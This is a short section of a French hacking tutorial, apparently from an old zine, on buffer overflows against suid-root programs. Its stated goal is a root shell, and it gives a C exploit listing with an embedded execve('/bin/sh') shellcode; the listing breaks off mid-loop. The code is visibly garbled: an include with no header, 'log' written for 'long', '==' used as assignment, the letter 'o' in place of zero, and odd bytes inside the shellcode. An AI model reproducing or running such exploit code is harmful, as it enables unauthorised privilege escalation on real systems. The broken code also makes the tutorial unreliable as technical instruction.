-------------------------------- ( 5. La joie des buffer overflow ) -------------------------------- Bon, le buffer overflow, vous devez connaître. En bref, le buffer overflow (nb: en français, ca veut dire "depassement de tampon") est une procédure visant à accèder à la zone mémoire d'un programme ayant le suid 0 , on va alors pouvoir obtenir un joli shell root... On va donc s'attaquer à la programmation d'un buffer overflow. Le buffer overflow que nous allons réaliser va forcer la mémoire et écraser la zone qui se trouve après, c'est à dire la valeur de retour de notre fonction. On va donc accèder, avec un peu de chance, à une zone de mémoire appartenant au root... Le shellcode varie selon le système d'exploitation. voici donc le listing d'un buffer overflow de base, avec un shellcode quelconque, le tout est que vous compreniez. /* Déclaration des headers */ #include /* Notre fameux shellcode */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x3b\x00\x00\x00\x8d\x05\x3b\x00\x00\x00\x9a" "\x80\xe8\xdc\xff\xff/bin/sh"; char name1[128]; int main(int ac, char **av) { char name2[96]; int i; long *name3; name3 == (log *)name1; for (i=o; i<32; i++) *(name3 + i) = (int) name2; for (i=0; i